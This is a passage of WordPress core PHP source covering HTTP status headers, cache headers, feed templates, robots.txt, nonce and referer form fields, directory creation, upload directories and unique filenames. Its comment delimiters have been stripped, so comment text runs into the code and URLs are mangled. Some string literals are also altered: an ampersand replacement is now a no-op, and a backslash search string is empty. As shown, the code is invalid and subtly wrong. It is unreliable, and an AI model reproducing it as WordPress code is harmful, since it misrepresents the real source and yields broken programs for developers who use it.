$wp, $wp_query, $wp_the_query; $wp->main( $query_vars ); if ( ! isset( $wp_the_query ) ) { $wp_the_query = $wp_query; } } * * Retrieves the description for the HTTP status. * * @since 2.3.0 * @since 3.9.0 Added status codes 418, 428, 429, 431, and 511. * @since 4.5.0 Added status codes 308, 421, and 451. * @since 5.1.0 Added status code 103. * * @global array $wp_header_to_desc * * @param int $code HTTP status code. * @return string Status description if found, an empty string otherwise. function get_status_header_desc( $code ) { global $wp_header_to_desc; $code = absint( $code ); if ( ! isset( $wp_header_to_desc ) ) { $wp_header_to_desc = array( 100 => 'Continue', 101 => 'Switching Protocols', 102 => 'Processing', 103 => 'Early Hints', 200 => 'OK', 201 => 'Created', 202 => 'Accepted', 203 => 'Non-Authoritative Information', 204 => 'No Content', 205 => 'Reset Content', 206 => 'Partial Content', 207 => 'Multi-Status', 226 => 'IM Used', 300 => 'Multiple Choices', 301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other', 304 => 'Not Modified', 305 => 'Use Proxy', 306 => 'Reserved', 307 => 'Temporary Redirect', 308 => 'Permanent Redirect', 400 => 'Bad Request', 401 => 'Unauthorized', 402 => 'Payment Required', 403 => 'Forbidden', 404 => 'Not Found', 405 => 'Method Not Allowed', 406 => 'Not Acceptable', 407 => 'Proxy Authentication Required', 408 => 'Request Timeout', 409 => 'Conflict', 410 => 'Gone', 411 => 'Length Required', 412 => 'Precondition Failed', 413 => 'Request Entity Too Large', 414 => 'Request-URI Too Long', 415 => 'Unsupported Media Type', 416 => 'Requested Range Not Satisfiable', 417 => 'Expectation Failed', 418 => 'I\'m a teapot', 421 => 'Misdirected Request', 422 => 'Unprocessable Entity', 423 => 'Locked', 424 => 'Failed Dependency', 426 => 'Upgrade Required', 428 => 'Precondition Required', 429 => 'Too Many Requests', 431 => 'Request Header Fields Too Large', 451 => 'Unavailable For Legal Reasons', 500 => 'Internal Server Error', 501 => 'Not Implemented', 502 => 'Bad Gateway', 503 => 'Service Unavailable', 504 => 'Gateway Timeout', 505 => 'HTTP Version Not Supported', 506 => 'Variant Also Negotiates', 507 => 'Insufficient Storage', 510 => 'Not Extended', 511 => 'Network Authentication Required', ); } if ( isset( $wp_header_to_desc[ $code ] ) ) { return $wp_header_to_desc[ $code ]; } else { return ''; } } * * Sets HTTP status header. * * @since 2.0.0 * @since 4.4.0 Added the `$description` parameter. * * @see get_status_header_desc() * * @param int $code HTTP status code. * @param string $description Optional. A custom description for the HTTP status. * Defaults to the result of get_status_header_desc() for the given code. function status_header( $code, $description = '' ) { if ( ! $description ) { $description = get_status_header_desc( $code ); } if ( empty( $description ) ) { return; } $protocol = wp_get_server_protocol(); $status_header = "$protocol $code $description"; if ( function_exists( 'apply_filters' ) ) { * * Filters an HTTP status header. * * @since 2.2.0 * * @param string $status_header HTTP status header. * @param int $code HTTP status code. * @param string $description Description for the status code. * @param string $protocol Server protocol. $status_header = apply_filters( 'status_header', $status_header, $code, $description, $protocol ); } if ( ! headers_sent() ) { header( $status_header, true, $code ); } } * * Gets the HTTP header information to prevent caching. * * The several different headers cover the different ways cache prevention * is handled by different browsers. * * @since 2.8.0 * @since 6.3.0 The `Cache-Control` header for logged in users now includes the * `no-store` and `private` directives. * * @return array The associative array of header names and field values. function wp_get_nocache_headers() { $cache_control = ( function_exists( 'is_user_logged_in' ) && is_user_logged_in() ) ? 'no-cache, must-revalidate, max-age=0, no-store, private' : 'no-cache, must-revalidate, max-age=0'; $headers = array( 'Expires' => 'Wed, 11 Jan 1984 05:00:00 GMT', 'Cache-Control' => $cache_control, ); if ( function_exists( 'apply_filters' ) ) { * * Filters the cache-controlling HTTP headers that are used to prevent caching. * * @since 2.8.0 * * @see wp_get_nocache_headers() * * @param array $headers Header names and field values. $headers = (array) apply_filters( 'nocache_headers', $headers ); } $headers['Last-Modified'] = false; return $headers; } * * Sets the HTTP headers to prevent caching for the different browsers. * * Different browsers support different nocache headers, so several * headers must be sent so that all of them get the point that no * caching should occur. * * @since 2.0.0 * * @see wp_get_nocache_headers() function nocache_headers() { if ( headers_sent() ) { return; } $headers = wp_get_nocache_headers(); unset( $headers['Last-Modified'] ); header_remove( 'Last-Modified' ); foreach ( $headers as $name => $field_value ) { header( "{$name}: {$field_value}" ); } } * * Sets the HTTP headers for caching for 10 days with JavaScript content type. * * @since 2.1.0 function cache_javascript_headers() { $expiresOffset = 10 * DAY_IN_SECONDS; header( 'Content-Type: text/javascript; charset=' . get_bloginfo( 'charset' ) ); header( 'Vary: Accept-Encoding' ); Handle proxies. header( 'Expires: ' . gmdate( 'D, d M Y H:i:s', time() + $expiresOffset ) . ' GMT' ); } * * Retrieves the number of database queries during the WordPress execution. * * @since 2.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return int Number of database queries. function get_num_queries() { global $wpdb; return $wpdb->num_queries; } * * Determines whether input is yes or no. * * Must be 'y' to be true. * * @since 1.0.0 * * @param string $yn Character string containing either 'y' (yes) or 'n' (no). * @return bool True if 'y', false on anything else. function bool_from_yn( $yn ) { return ( 'y' === strtolower( $yn ) ); } * * Loads the feed template from the use of an action hook. * * If the feed action does not have a hook, then the function will die with a * message telling the visitor that the feed is not valid. * * It is better to only have one hook for each feed. * * @since 2.1.0 * * @global WP_Query $wp_query WordPress Query object. function do_feed() { global $wp_query; $feed = get_query_var( 'feed' ); Remove the pad, if present. $feed = preg_replace( '/^_+/', '', $feed ); if ( '' === $feed || 'feed' === $feed ) { $feed = get_default_feed(); } if ( ! has_action( "do_feed_{$feed}" ) ) { wp_die( __( '<strong>Error:</strong> This is not a valid feed template.' ), '', array( 'response' => 404 ) ); } * * Fires once the given feed is loaded. * * The dynamic portion of the hook name, `$feed`, refers to the feed template name. * * Possible hook names include: * * - `do_feed_atom` * - `do_feed_rdf` * - `do_feed_rss` * - `do_feed_rss2` * * @since 2.1.0 * @since 4.4.0 The `$feed` parameter was added. * * @param bool $is_comment_feed Whether the feed is a comment feed. * @param string $feed The feed name. do_action( "do_feed_{$feed}", $wp_query->is_comment_feed, $feed ); } * * Loads the RDF RSS 0.91 Feed template. * * @since 2.1.0 * * @see load_template() function do_feed_rdf() { load_template( ABSPATH . WPINC . '/feed-rdf.php' ); } * * Loads the RSS 1.0 Feed Template. * * @since 2.1.0 * * @see load_template() function do_feed_rss() { load_template( ABSPATH . WPINC . '/feed-rss.php' ); } * * Loads either the RSS2 comment feed or the RSS2 posts feed. * * @since 2.1.0 * * @see load_template() * * @param bool $for_comments True for the comment feed, false for normal feed. function do_feed_rss2( $for_comments ) { if ( $for_comments ) { load_template( ABSPATH . WPINC . '/feed-rss2-comments.php' ); } else { load_template( ABSPATH . WPINC . '/feed-rss2.php' ); } } * * Loads either Atom comment feed or Atom posts feed. * * @since 2.1.0 * * @see load_template() * * @param bool $for_comments True for the comment feed, false for normal feed. function do_feed_atom( $for_comments ) { if ( $for_comments ) { load_template( ABSPATH . WPINC . '/feed-atom-comments.php' ); } else { load_template( ABSPATH . WPINC . '/feed-atom.php' ); } } * * Displays the default robots.txt file content. * * @since 2.1.0 * @since 5.3.0 Remove the "Disallow: /" output if search engine visiblity is * discouraged in favor of robots meta HTML tag via wp_robots_no_robots() * filter callback. function do_robots() { header( 'Content-Type: text/plain; charset=utf-8' ); * * Fires when displaying the robots.txt file. * * @since 2.1.0 do_action( 'do_robotstxt' ); $output = "User-agent: *\n"; $public = get_option( 'blog_public' ); $site_url = parse_url( site_url() ); $path = ( ! empty( $site_url['path'] ) ) ? $site_url['path'] : ''; $output .= "Disallow: $path/wp-admin/\n"; $output .= "Allow: $path/wp-admin/admin-ajax.php\n"; * * Filters the robots.txt output. * * @since 3.0.0 * * @param string $output The robots.txt output. * @param bool $public Whether the site is considered "public". echo apply_filters( 'robots_txt', $output, $public ); } * * Displays the favicon.ico file content. * * @since 5.4.0 function do_favicon() { * * Fires when serving the favicon.ico file. * * @since 5.4.0 do_action( 'do_faviconico' ); wp_redirect( get_site_icon_url( 32, includes_url( 'images/w-logo-blue-white-bg.png' ) ) ); exit; } * * Determines whether WordPress is already installed. * * The cache will be checked first. If you have a cache plugin, which saves * the cache values, then this will work. If you use the default WordPress * cache, and the database goes away, then you might have problems. * * Checks for the 'siteurl' option for whether WordPress is installed. * * For more information on this and similar theme functions, check out * the {@link https:developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 2.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return bool Whether the site is already installed. function is_blog_installed() { global $wpdb; * Check cache first. If options table goes away and we have true * cached, oh well. if ( wp_cache_get( 'is_blog_installed' ) ) { return true; } $suppress = $wpdb->suppress_errors(); if ( ! wp_installing() ) { $alloptions = wp_load_alloptions(); } If siteurl is not set to autoload, check it specifically. if ( ! isset( $alloptions['siteurl'] ) ) { $installed = $wpdb->get_var( "SELECT option_value FROM $wpdb->options WHERE option_name = 'siteurl'" ); } else { $installed = $alloptions['siteurl']; } $wpdb->suppress_errors( $suppress ); $installed = ! empty( $installed ); wp_cache_set( 'is_blog_installed', $installed ); if ( $installed ) { return true; } If visiting repair.php, return true and let it take over. if ( defined( 'WP_REPAIRING' ) ) { return true; } $suppress = $wpdb->suppress_errors(); * Loop over the WP tables. If none exist, then scratch installation is allowed. * If one or more exist, suggest table repair since we got here because the * options table could not be accessed. $wp_tables = $wpdb->tables(); foreach ( $wp_tables as $table ) { The existence of custom user tables shouldn't suggest an unwise state or prevent a clean installation. if ( defined( 'CUSTOM_USER_TABLE' ) && CUSTOM_USER_TABLE === $table ) { continue; } if ( defined( 'CUSTOM_USER_META_TABLE' ) && CUSTOM_USER_META_TABLE === $table ) { continue; } $described_table = $wpdb->get_results( "DESCRIBE $table;" ); if ( ( ! $described_table && empty( $wpdb->last_error ) ) || ( is_array( $described_table ) && 0 === count( $described_table ) ) ) { continue; } One or more tables exist. This is not good. wp_load_translations_early(); Die with a DB error. $wpdb->error = sprintf( translators: %s: Database repair URL. __( 'One or more database tables are unavailable. The database may need to be <a href="%s">repaired</a>.' ), 'maint/repair.php?referrer=is_blog_installed' ); dead_db(); } $wpdb->suppress_errors( $suppress ); wp_cache_set( 'is_blog_installed', false ); return false; } * * Retrieves URL with nonce added to URL query. * * @since 2.0.4 * * @param string $actionurl URL to add nonce action. * @param int|string $action Optional. Nonce action name. Default -1. * @param string $name Optional. Nonce name. Default '_wpnonce'. * @return string Escaped URL with nonce action added. function wp_nonce_url( $actionurl, $action = -1, $name = '_wpnonce' ) { $actionurl = str_replace( '&', '&', $actionurl ); return esc_html( add_query_arg( $name, wp_create_nonce( $action ), $actionurl ) ); } * * Retrieves or display nonce hidden field for forms. * * The nonce field is used to validate that the contents of the form came from * the location on the current site and not somewhere else. The nonce does not * offer absolute protection, but should protect against most cases. It is very * important to use nonce field in forms. * * The $action and $name are optional, but if you want to have better security, * it is strongly suggested to set those two parameters. It is easier to just * call the function without any parameters, because validation of the nonce * doesn't require any parameters, but since crackers know what the default is * it won't be difficult for them to find a way around your nonce and cause * damage. * * The input name will be whatever $name value you gave. The input value will be * the nonce creation value. * * @since 2.0.4 * * @param int|string $action Optional. Action name. Default -1. * @param string $name Optional. Nonce name. Default '_wpnonce'. * @param bool $referer Optional. Whether to set the referer field for validation. Default true. * @param bool $display Optional. Whether to display or return hidden form field. Default true. * @return string Nonce field HTML markup. function wp_nonce_field( $action = -1, $name = '_wpnonce', $referer = true, $display = true ) { $name = esc_attr( $name ); $nonce_field = '<input type="hidden" id="' . $name . '" name="' . $name . '" value="' . wp_create_nonce( $action ) . '" />'; if ( $referer ) { $nonce_field .= wp_referer_field( false ); } if ( $display ) { echo $nonce_field; } return $nonce_field; } * * Retrieves or displays referer hidden field for forms. * * The referer link is the current Request URI from the server super global. The * input name is '_wp_http_referer', in case you wanted to check manually. * * @since 2.0.4 * * @param bool $display Optional. Whether to echo or return the referer field. Default true. * @return string Referer field HTML markup. function wp_referer_field( $display = true ) { $request_url = remove_query_arg( '_wp_http_referer' ); $referer_field = '<input type="hidden" name="_wp_http_referer" value="' . esc_url( $request_url ) . '" />'; if ( $display ) { echo $referer_field; } return $referer_field; } * * Retrieves or displays original referer hidden field for forms. * * The input name is '_wp_original_http_referer' and will be either the same * value of wp_referer_field(), if that was posted already or it will be the * current page, if it doesn't exist. * * @since 2.0.4 * * @param bool $display Optional. Whether to echo the original http referer. Default true. * @param string $jump_back_to Optional. Can be 'previous' or page you want to jump back to. * Default 'current'. * @return string Original referer field. function wp_original_referer_field( $display = true, $jump_back_to = 'current' ) { $ref = wp_get_original_referer(); if ( ! $ref ) { $ref = ( 'previous' === $jump_back_to ) ? wp_get_referer() : wp_unslash( $_SERVER['REQUEST_URI'] ); } $orig_referer_field = '<input type="hidden" name="_wp_original_http_referer" value="' . esc_attr( $ref ) . '" />'; if ( $display ) { echo $orig_referer_field; } return $orig_referer_field; } * * Retrieves referer from '_wp_http_referer' or HTTP referer. * * If it's the same as the current request URL, will return false. * * @since 2.0.4 * * @return string|false Referer URL on success, false on failure. function wp_get_referer() { Return early if called before wp_validate_redirect() is defined. if ( ! function_exists( 'wp_validate_redirect' ) ) { return false; } $ref = wp_get_raw_referer(); if ( $ref && wp_unslash( $_SERVER['REQUEST_URI'] ) !== $ref && home_url() . wp_unslash( $_SERVER['REQUEST_URI'] ) !== $ref ) { return wp_validate_redirect( $ref, false ); } return false; } * * Retrieves unvalidated referer from the '_wp_http_referer' URL query variable or the HTTP referer. * * If the value of the '_wp_http_referer' URL query variable is not a string then it will be ignored. * * Do not use for redirects, use wp_get_referer() instead. * * @since 4.5.0 * * @return string|false Referer URL on success, false on failure. function wp_get_raw_referer() { if ( ! empty( $_REQUEST['_wp_http_referer'] ) && is_string( $_REQUEST['_wp_http_referer'] ) ) { return wp_unslash( $_REQUEST['_wp_http_referer'] ); } elseif ( ! empty( $_SERVER['HTTP_REFERER'] ) ) { return wp_unslash( $_SERVER['HTTP_REFERER'] ); } return false; } * * Retrieves original referer that was posted, if it exists. * * @since 2.0.4 * * @return string|false Original referer URL on success, false on failure. function wp_get_original_referer() { Return early if called before wp_validate_redirect() is defined. if ( ! function_exists( 'wp_validate_redirect' ) ) { return false; } if ( ! empty( $_REQUEST['_wp_original_http_referer'] ) ) { return wp_validate_redirect( wp_unslash( $_REQUEST['_wp_original_http_referer'] ), false ); } return false; } * * Recursive directory creation based on full path. * * Will attempt to set permissions on folders. * * @since 2.0.1 * * @param string $target Full path to attempt to create. * @return bool Whether the path was created. True if path already exists. function wp_mkdir_p( $target ) { $wrapper = null; Strip the protocol. if ( wp_is_stream( $target ) ) { list( $wrapper, $target ) = explode( ':', $target, 2 ); } From php.net/mkdir user contributed notes. $target = str_replace( '', '/', $target ); Put the wrapper back on the target. if ( null !== $wrapper ) { $target = $wrapper . ':' . $target; } * Safe mode fails with a trailing slash under certain PHP versions. * Use rtrim() instead of untrailingslashit to avoid formatting.php dependency. $target = rtrim( $target, '/' ); if ( empty( $target ) ) { $target = '/'; } if ( file_exists( $target ) ) { return @is_dir( $target ); } Do not allow path traversals. if ( str_contains( $target, '../' ) || str_contains( $target, '..' . DIRECTORY_SEPARATOR ) ) { return false; } We need to find the permissions of the parent folder that exists and inherit that. $target_parent = dirname( $target ); while ( '.' !== $target_parent && ! is_dir( $target_parent ) && dirname( $target_parent ) !== $target_parent ) { $target_parent = dirname( $target_parent ); } Get the permission bits. $stat = @stat( $target_parent ); if ( $stat ) { $dir_perms = $stat['mode'] & 0007777; } else { $dir_perms = 0777; } if ( @mkdir( $target, $dir_perms, true ) ) { * If a umask is set that modifies $dir_perms, we'll have to re-set * the $dir_perms correctly with chmod() if ( ( $dir_perms & ~umask() ) !== $dir_perms ) { $folder_parts = explode( '/', substr( $target, strlen( $target_parent ) + 1 ) ); for ( $i = 1, $c = count( $folder_parts ); $i <= $c; $i++ ) { chmod( $target_parent . '/' . implode( '/', array_slice( $folder_parts, 0, $i ) ), $dir_perms ); } } return true; } return false; } * * Tests if a given filesystem path is absolute. * * For example, '/foo/bar', or 'c:\windows'. * * @since 2.5.0 * * @param string $path File path. * @return bool True if path is absolute, false is not absolute. function path_is_absolute( $path ) { * Check to see if the path is a stream and check to see if its an actual * path or file as realpath() does not support stream wrappers. if ( wp_is_stream( $path ) && ( is_dir( $path ) || is_file( $path ) ) ) { return true; } * This is definitive if true but fails if $path does not exist or contains * a symbolic link. if ( realpath( $path ) === $path ) { return true; } if ( strlen( $path ) === 0 || '.' === $path[0] ) { return false; } Windows allows absolute paths like this. if ( preg_match( '#^[a-zA-Z]:\\\\#', $path ) ) { return true; } A path starting with / or \ is absolute; anything else is relative. return ( '/' === $path[0] || '\\' === $path[0] ); } * * Joins two filesystem paths together. * * For example, 'give me $path relative to $base'. If the $path is absolute, * then it the full path is returned. * * @since 2.5.0 * * @param string $base Base path. * @param string $path Path relative to $base. * @return string The path with the base or absolute path. function path_join( $base, $path ) { if ( path_is_absolute( $path ) ) { return $path; } return rtrim( $base, '/' ) . '/' . $path; } * * Normalizes a filesystem path. * * On windows systems, replaces backslashes with forward slashes * and forces upper-case drive letters. * Allows for two leading slashes for Windows network shares, but * ensures that all other duplicate slashes are reduced to a single. * * @since 3.9.0 * @since 4.4.0 Ensures upper-case drive letters on Windows systems. * @since 4.5.0 Allows for Windows network shares. * @since 4.9.7 Allows for PHP file wrappers. * * @param string $path Path to normalize. * @return string Normalized path. function wp_normalize_path( $path ) { $wrapper = ''; if ( wp_is_stream( $path ) ) { list( $wrapper, $path ) = explode( ':', $path, 2 ); $wrapper .= ':'; } Standardize all paths to use '/'. $path = str_replace( '\\', '/', $path ); Replace multiple slashes down to a singular, allowing for network shares having two slashes. $path = preg_replace( '|(?<=.)/+|', '/', $path ); Windows paths should uppercase the drive letter. if ( ':' === substr( $path, 1, 1 ) ) { $path = ucfirst( $path ); } return $wrapper . $path; } * * Determines a writable directory for temporary files. * * Function's preference is the return value of sys_get_temp_dir(), * followed by your PHP temporary upload directory, followed by WP_CONTENT_DIR, * before finally defaulting to /tmp/ * * In the event that this function does not find a writable location, * It may be overridden by the WP_TEMP_DIR constant in your wp-config.php file. * * @since 2.5.0 * * @return string Writable temporary directory. function get_temp_dir() { static $temp = ''; if ( defined( 'WP_TEMP_DIR' ) ) { return trailingslashit( WP_TEMP_DIR ); } if ( $temp ) { return trailingslashit( $temp ); } if ( function_exists( 'sys_get_temp_dir' ) ) { $temp = sys_get_temp_dir(); if ( @is_dir( $temp ) && wp_is_writable( $temp ) ) { return trailingslashit( $temp ); } } $temp = ini_get( 'upload_tmp_dir' ); if ( @is_dir( $temp ) && wp_is_writable( $temp ) ) { return trailingslashit( $temp ); } $temp = WP_CONTENT_DIR . '/'; if ( is_dir( $temp ) && wp_is_writable( $temp ) ) { return $temp; } return '/tmp/'; } * * Determines if a directory is writable. * * This function is used to work around certain ACL issues in PHP primarily * affecting Windows Servers. * * @since 3.6.0 * * @see win_is_writable() * * @param string $path Path to check for write-ability. * @return bool Whether the path is writable. function wp_is_writable( $path ) { if ( 'WIN' === strtoupper( substr( PHP_OS, 0, 3 ) ) ) { return win_is_writable( $path ); } else { return @is_writable( $path ); } } * * Workaround for Windows bug in is_writable() function * * PHP has issues with Windows ACL's for determine if a * directory is writable or not, this works around them by * checking the ability to open files rather than relying * upon PHP to interprate the OS ACL. * * @since 2.8.0 * * @see https:bugs.php.net/bug.php?id=27609 * @see https:bugs.php.net/bug.php?id=30931 * * @param string $path Windows path to check for write-ability. * @return bool Whether the path is writable. function win_is_writable( $path ) { if ( '/' === $path[ strlen( $path ) - 1 ] ) { If it looks like a directory, check a random file within the directory. return win_is_writable( $path . uniqid( mt_rand() ) . '.tmp' ); } elseif ( is_dir( $path ) ) { If it's a directory (and not a file), check a random file within the directory. return win_is_writable( $path . '/' . uniqid( mt_rand() ) . '.tmp' ); } Check tmp file for read/write capabilities. $should_delete_tmp_file = ! file_exists( $path ); $f = @fopen( $path, 'a' ); if ( false === $f ) { return false; } fclose( $f ); if ( $should_delete_tmp_file ) { unlink( $path ); } return true; } * * Retrieves uploads directory information. * * Same as wp_upload_dir() but "light weight" as it doesn't attempt to create the uploads directory. * Intended for use in themes, when only 'basedir' and 'baseurl' are needed, generally in all cases * when not uploading files. * * @since 4.5.0 * * @see wp_upload_dir() * * @return array See wp_upload_dir() for description. function wp_get_upload_dir() { return wp_upload_dir( null, false ); } * * Returns an array containing the current upload directory's path and URL. * * Checks the 'upload_path' option, which should be from the web root folder, * and if it isn't empty it will be used. If it is empty, then the path will be * 'WP_CONTENT_DIR/uploads'. If the 'UPLOADS' constant is defined, then it will * override the 'upload_path' option and 'WP_CONTENT_DIR/uploads' path. * * The upload URL path is set either by the 'upload_url_path' option or by using * the 'WP_CONTENT_URL' constant and appending '/uploads' to the path. * * If the 'uploads_use_yearmonth_folders' is set to true (checkbox if checked in * the administration settings panel), then the time will be used. The format * will be year first and then month. * * If the path couldn't be created, then an error will be returned with the key * 'error' containing the error message. The error suggests that the parent * directory is not writable by the server. * * @since 2.0.0 * @uses _wp_upload_dir() * * @param string $time Optional. Time formatted in 'yyyy/mm'. Default null. * @param bool $create_dir Optional. Whether to check and create the uploads directory. * Default true for backward compatibility. * @param bool $refresh_cache Optional. Whether to refresh the cache. Default false. * @return array { * Array of information about the upload directory. * * @type string $path Base directory and subdirectory or full path to upload directory. * @type string $url Base URL and subdirectory or absolute URL to upload directory. * @type string $subdir Subdirectory if uploads use year/month folders option is on. * @type string $basedir Path without subdir. * @type string $baseurl URL path without subdir. * @type string|false $error False or error message. * } function wp_upload_dir( $time = null, $create_dir = true, $refresh_cache = false ) { static $cache = array(), $tested_paths = array(); $key = sprintf( '%d-%s', get_current_blog_id(), (string) $time ); if ( $refresh_cache || empty( $cache[ $key ] ) ) { $cache[ $key ] = _wp_upload_dir( $time ); } * * Filters the uploads directory data. * * @since 2.0.0 * * @param array $uploads { * Array of information about the upload directory. * * @type string $path Base directory and subdirectory or full path to upload directory. * @type string $url Base URL and subdirectory or absolute URL to upload directory. * @type string $subdir Subdirectory if uploads use year/month folders option is on. * @type string $basedir Path without subdir. * @type string $baseurl URL path without subdir. * @type string|false $error False or error message. * } $uploads = apply_filters( 'upload_dir', $cache[ $key ] ); if ( $create_dir ) { $path = $uploads['path']; if ( array_key_exists( $path, $tested_paths ) ) { $uploads['error'] = $tested_paths[ $path ]; } else { if ( ! wp_mkdir_p( $path ) ) { if ( str_starts_with( $uploads['basedir'], ABSPATH ) ) { $error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir']; } else { $error_path = wp_basename( $uploads['basedir'] ) . $uploads['subdir']; } $uploads['error'] = sprintf( translators: %s: Directory path. __( 'Unable to create directory %s. Is its parent directory writable by the server?' ), esc_html( $error_path ) ); } $tested_paths[ $path ] = $uploads['error']; } } return $uploads; } * * A non-filtered, non-cached version of wp_upload_dir() that doesn't check the path. * * @since 4.5.0 * @access private * * @param string $time Optional. Time formatted in 'yyyy/mm'. Default null. * @return array See wp_upload_dir() function _wp_upload_dir( $time = null ) { $siteurl = get_option( 'siteurl' ); $upload_path = trim( get_option( 'upload_path' ) ); if ( empty( $upload_path ) || 'wp-content/uploads' === $upload_path ) { $dir = WP_CONTENT_DIR . '/uploads'; } elseif ( ! str_starts_with( $upload_path, ABSPATH ) ) { $dir is absolute, $upload_path is (maybe) relative to ABSPATH. $dir = path_join( ABSPATH, $upload_path ); } else { $dir = $upload_path; } $url = get_option( 'upload_url_path' ); if ( ! $url ) { if ( empty( $upload_path ) || ( 'wp-content/uploads' === $upload_path ) || ( $upload_path === $dir ) ) { $url = WP_CONTENT_URL . '/uploads'; } else { $url = trailingslashit( $siteurl ) . $upload_path; } } * Honor the value of UPLOADS. This happens as long as ms-files rewriting is disabled. * We also sometimes obey UPLOADS when rewriting is enabled -- see the next block. if ( defined( 'UPLOADS' ) && ! ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) ) { $dir = ABSPATH . UPLOADS; $url = trailingslashit( $siteurl ) . UPLOADS; } If multisite (and if not the main site in a post-MU network). if ( is_multisite() && ! ( is_main_network() && is_main_site() && defined( 'MULTISITE' ) ) ) { if ( ! get_site_option( 'ms_files_rewriting' ) ) { * If ms-files rewriting is disabled (networks created post-3.5), it is fairly * straightforward: Append sites/%d if we're not on the main site (for post-MU * networks). (The extra directory prevents a four-digit ID from conflicting with * a year-based directory for the main site. But if a MU-era network has disabled * ms-files rewriting manually, they don't need the extra directory, as they never * had wp-content/uploads for the main site.) if ( defined( 'MULTISITE' ) ) { $ms_dir = '/sites/' . get_current_blog_id(); } else { $ms_dir = '/' . get_current_blog_id(); } $dir .= $ms_dir; $url .= $ms_dir; } elseif ( defined( 'UPLOADS' ) && ! ms_is_switched() ) { * Handle the old-form ms-files.php rewriting if the network still has that enabled. * When ms-files rewriting is enabled, then we only listen to UPLOADS when: * 1) We are not on the main site in a post-MU network, as wp-content/uploads is used * there, and * 2) We are not switched, as ms_upload_constants() hardcodes these constants to reflect * the original blog ID. * * Rather than UPLOADS, we actually use BLOGUPLOADDIR if it is set, as it is absolute. * (And it will be set, see ms_upload_constants().) Otherwise, UPLOADS can be used, as * as it is relative to ABSPATH. For the final piece: when UPLOADS is used with ms-files * rewriting in multisite, the resulting URL is /files. (#WP22702 for background.) if ( defined( 'BLOGUPLOADDIR' ) ) { $dir = untrailingslashit( BLOGUPLOADDIR ); } else { $dir = ABSPATH . UPLOADS; } $url = trailingslashit( $siteurl ) . 'files'; } } $basedir = $dir; $baseurl = $url; $subdir = ''; if ( get_option( 'uploads_use_yearmonth_folders' ) ) { Generate the yearly and monthly directories. if ( ! $time ) { $time = current_time( 'mysql' ); } $y = substr( $time, 0, 4 ); $m = substr( $time, 5, 2 ); $subdir = "/$y/$m"; } $dir .= $subdir; $url .= $subdir; return array( 'path' => $dir, 'url' => $url, 'subdir' => $subdir, 'basedir' => $basedir, 'baseurl' => $baseurl, 'error' => false, ); } * * Gets a filename that is sanitized and unique for the given directory. * * If the filename is not unique, then a number will be added to the filename * before the extension, and will continue adding numbers until the filename * is unique. * * The callback function allows the caller to use their own method to create * unique file names. If defined, the callback should take three arguments: * - directory, base filename, and extension - and return a unique filename. * * @since 2.5.0 * * @param string $dir Directory. * @param string $filename File name. * @param callable $unique_filename_callback Callback. Default null. * @return string New filename, if given wasn't unique. function wp_unique_filename( $dir, $filename, $unique_filename_callback = null ) { Sanitize the file name before we begin processing. $filename = sanitize_file_name( $filename ); $ext2 = null; Initialize vars used in the wp_unique_filename filter. $number = ''; $alt_filenames = array(); Separate the filename into a name and extension. $ext = pathinfo( $filename, PATHINFO_EXTENSION ); $name = pathinfo( $filename, PATHINFO_BASENAME ); if ( $ext ) { $ext = '.' . $ext; } Edge case: if file is named '.ext', treat as an empty name. if ( $name === $ext ) { $name = ''; } * Increment the file number until we have a unique file to save in $dir. * Use callback if supplied. if ( $unique_filename_callback && is_callable( $unique_filename_callback ) ) { $filename = call_user_func( $unique_filename_callback, $dir, $name, $ext ); } else { $fname = pathinfo( $filename, PATHINFO_FILENAME ); Always append a number to file names that can potentially match image sub-size file names. if ( $fname && preg_match( '/-(?:\d+x\d+|scaled|rotated)$/', $fname ) ) { $number = 1; At this point the file name may not be unique. This is tested below and the $number is incremented. $filename = str_replace( "{$fname}{$ext}", "{$fname}-{$number}{$ext}", $filename ); } * Get the mime type. Uploaded files were already checked with wp_check_filetype_and_ext() * in _wp_handle_upload(). Using wp_check_filetype() would be sufficient here. $file_type = wp_check_filetype( $filename ); $mime_type = $file_type['type']; $is_image = ( ! empty( $mime_type ) && str_starts_with( $mime_type, 'image/' ) ); $upload_dir = wp_get_upload_dir(); $lc_filename = null; $lc_ext = strtolower( $ext ); $_dir = trailingslashit( $dir ); * If the extension is uppercase add an alternate file name with lowercase extension. * Both need to be tested for uniqueness as the extension will be changed to lowercase * for better compatibility with different filesystems. Fixes an inconsistency in WP < 2.9 * where uppercase extensions were allowed but image sub-sizes were created with * lowercase extensions. if ( $ext && $lc_ext !== $ext ) { $lc_filename = preg_replace( '|' . preg_quote( $ext ) . '$|', $lc_ext, $filename ); } * Increment the number added to the file name if there are any files in $dir * whose names match one of the possible name variations. while ( file_exists( $_dir . $filename ) || ( $lc_filename && file_exists( $_dir . $lc_filename ) ) ) { $new_number = (int) $number + 1; if ( $lc_filename ) { $lc_filename = str_replace( array( "-{$number}{$lc_ext}", "{$number}{$lc_ext}" ), "-{$new_number}{$lc_ext}", $lc_filename ); } if ( '' === "{$number}{$ext}" ) { $filename = "{$filename}-{$new_number}"; } else { $filename = str_replace( array( "-{$number}{$ext}", "{$number}{$ext}" ), "-{$new_number}{$ext}", $filename ); } $number = $new_number; } Change the extension to lowercase if needed. if ( $lc_filename ) { $filename = $lc_filename; } * Prevent collisions with existing file names that contain dimension-like strings * (whether they are subsizes or originals uploaded prior to #42437). $files = array(); $count = 10000; The (resized) image files would have name and extension, and will be in the uploads dir. if ( $name && $ext && @is_dir( $dir ) && str_contains( $dir, $upload_dir['basedir'] ) ) { * * Filters the file list used for calculating a unique filename for a newly added file. * * Returning an array from the filter will effectively short-circuit retrieval * from the filesystem and return the passed value instead. * * @since 5.5.0 * * @param array|null $files The list of files to use for filename comparisons. * Default null (to retrieve the list from the filesystem). * @param string $dir The directory for the new file. * @param string $filename The proposed filename for the new file. $files = apply_filters( 'pre_wp_unique_filename_file_list', null, $dir, $filename ); if ( null === $files ) { List of all files and directories contained in $dir. $files = @scandir( $dir ); } if ( ! empty( $files ) ) { Remove "dot" dirs. $files = array_diff( $files, array( '.', '..' ) ); } if ( ! empty( $files ) ) { $count = count( $files ); * Ensure this never goes into infinite loop as it uses pathinfo() and regex in the check, * but string replacement for the changes. $i = 0; while ( $i <= $count && 